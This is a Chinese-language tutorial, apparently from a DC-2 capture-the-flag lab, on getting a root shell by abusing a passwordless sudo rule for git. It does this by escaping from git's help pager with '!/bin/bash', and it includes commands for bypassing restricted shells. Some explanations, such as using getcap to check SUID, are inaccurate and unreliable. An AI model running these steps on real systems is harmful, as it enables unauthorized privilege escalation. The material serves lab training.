前提条件

  1. 用户需要有通过 sudo 执行 git 命令的权限。
  2. 通过 sudo -l 查看权限时,发现 git 命令在允许列表中(无需密码或可提权)。

Git提权方法

方法一:利用 git help 命令
  1. 检查 sudo 权限
1
sudo -l

输出中应包含类似以下内容:

1
2
User tom may run the following commands on DC-2 as root:
(root) NOPASSWD: /usr/bin/git
  1. 触发提权
    执行以下命令,进入 git 的帮助文档界面:
1
sudo git help config
  1. 进入交互模式执行命令
  • Shift + : 进入 命令模式(类似 vi 的命令行)。
  • 输入以下命令之一,即可获得 root 权限的 shell:
1
2
!/bin/bash    # 直接启动 root shell
!'sh' # 启动 root 的 sh shell
  1. 退出帮助界面
    如果命令未立即生效,按 q 退出帮助界面,再执行以下命令:
1
sudo git -p help

再次进入命令模式并输入:

1
!/bin/bash
方法二:利用 git -p 参数
  1. 直接执行命令
1
sudo git -p help config

Shift + : 进入命令模式后,输入:

1
!/bin/bash

原理说明
Git 的 help 命令特性:
Git 的 help 子命令会调用 less 或 vi 等文本查看器显示帮助文档。通过在这些编辑器中触发 shell 执行命令(如 !command),可以绕过权限限制,直接以 root 身份执行命令。

SUID 权限漏洞:
如果 git 二进制文件被设置了 SUID 权限(sudo getcap $(which git) 可检查),则普通用户执行 git 时会以文件所有者(通常是 root)的权限运行,从而可能被利用提权。

常见问题

  1. 遇到受限 shell(rbash)怎么办?
    如果当前 shell 是受限的(如 rbash),需先绕过限制:

  2. 修改环境变量:

1
export PATH=$PATH:/bin:/usr/bin
  1. 使用 BASH_CMDS 绕过:
1
BASH_CMDS[a]=/bin/sh; a
  1. 命令执行后无响应?
    可能需先按 q 退出帮助界面,再重新执行 sudo git -p help
  2. 目标系统 Git 版本过新?
    部分新版本 Git 修复了此漏洞,需尝试其他提权方法(如利用 sudo 其他命令或内核漏洞)。

总结步骤

  1. 检查 sudo 权限:sudo -l
  2. 执行 sudo git help configsudo git -p help
  3. 在文本编辑器中触发 !/bin/bash
  4. 获得 root 权限后,读取敏感文件(如 /root/flag)。

安全提示

  • 此方法依赖 sudogit 的提权配置或 SUID 权限漏洞,需确保目标环境存在此漏洞。
  • 实际操作需遵守法律法规,仅用于合法渗透测试。